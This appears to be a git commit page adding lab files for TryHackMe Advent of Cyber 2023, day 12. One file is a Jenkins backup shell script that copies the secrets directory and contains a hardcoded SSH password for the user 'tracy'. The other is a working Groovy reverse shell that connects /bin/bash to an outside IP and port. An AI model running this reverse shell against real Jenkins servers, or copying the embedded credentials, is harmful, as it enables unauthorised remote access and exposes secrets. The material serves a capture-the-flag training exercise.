Added initial code.
This commit is contained in:
parent
5808d2f805
commit
1f7a9b0566
22 changed files with 309132 additions and 1 deletions
23
thm/aoc23/day12/backup.sh
Normal file
23
thm/aoc23/day12/backup.sh
Normal file
|
@ -0,0 +1,23 @@
|
|||
#!/bin/sh
|
||||
|
||||
mkdir /var/lib/jenkins/backup
|
||||
mkdir /var/lib/jenkins/backup/jobs /var/lib/jenkins/backup/nodes /var/lib/jenkins/backup/plugins /var/lib/jenkins/backup/secrets /var/lib/jenkins/backup/users
|
||||
|
||||
cp /var/lib/jenkins/*.xml /var/lib/jenkins/backup/
|
||||
cp -r /var/lib/jenkins/jobs/ /var/lib/jenkins/backup/jobs/
|
||||
cp -r /var/lib/jenkins/nodes/ /var/lib/jenkins/backup/nodes/
|
||||
cp /var/lib/jenkins/plugins/*.jpi /var/lib/jenkins/backup/plugins/
|
||||
cp /var/lib/jenkins/secrets/* /var/lib/jenkins/backup/secrets/
|
||||
cp -r /var/lib/jenkins/users/* /var/lib/jenkins/backup/users/
|
||||
|
||||
tar czvf /var/lib/jenkins/backup.tar.gz /var/lib/jenkins/backup/
|
||||
/bin/sleep 5
|
||||
|
||||
username="tracy"
|
||||
password="13_1n_33"
|
||||
Ip="localhost"
|
||||
sshpass -p "$password" scp /var/lib/jenkins/backup.tar.gz $username@$Ip:/home/tracy/backups
|
||||
/bin/sleep 10
|
||||
|
||||
rm -rf /var/lib/jenkins/backup/
|
||||
rm -rf /var/lib/jenkins/backup.tar.gz
|
4
thm/aoc23/day12/rev-shell.groovy
Normal file
4
thm/aoc23/day12/rev-shell.groovy
Normal file
|
@ -0,0 +1,4 @@
|
|||
String host="10.14.42.37";
|
||||
int port=1886;
|
||||
String cmd="/bin/bash";
|
||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
Loading…
Add table
Add a link
Reference in a new issue